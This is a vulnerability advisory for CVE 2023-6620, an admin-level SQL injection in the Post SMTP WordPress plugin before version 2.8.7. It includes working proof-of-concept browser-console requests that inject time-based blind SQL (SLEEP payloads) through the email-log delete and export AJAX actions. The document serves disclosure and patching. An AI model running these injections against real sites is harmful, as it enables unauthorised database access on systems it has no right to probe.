Post SMTP < 2.8.7 – Admin+ SQL Injection | CVE 2023-6620

Description

The plugin does not properly sanitise and escape several parameters before using them in SQL statements, leading to a SQL injection exploitable by high privilege users such as admin.

Proof of Concept

# In `ps-delete-email-logs` action:

Visit the Post SMTP > Email Log page and run the following code in the browser console:

nonce = document.getElementById('ps-email-log-nonce').value

await fetch("/wp-admin/admin-ajax.php", {
    "credentials": "include",
    "headers": {
        "Content-Type": "application/x-www-form-urlencoded",
        "Sec-Fetch-Site": "same-origin"
    },
    "body": "action=ps-delete-email-logs&security=" + nonce + "&selected%5B%5D=1)%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))a)#",
    "method": "POST",
    "mode": "cors"
});

# In `ps-export-email-logs` action:

Visit the Post SMTP > Email Log page and run the following code in the browser console:

nonce = document.getElementById('ps-email-log-nonce').value

await fetch("/wp-admin/admin-ajax.php", {
    "credentials": "include",
    "headers": {
        "Content-Type": "application/x-www-form-urlencoded",
        "Sec-Fetch-Site": "same-origin"
    },
    "body": "action=ps-export-email-logs&security=" + nonce + "&selected%5B%5D=1)%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))a)#",
    "method": "POST",
    "mode": "cors"
});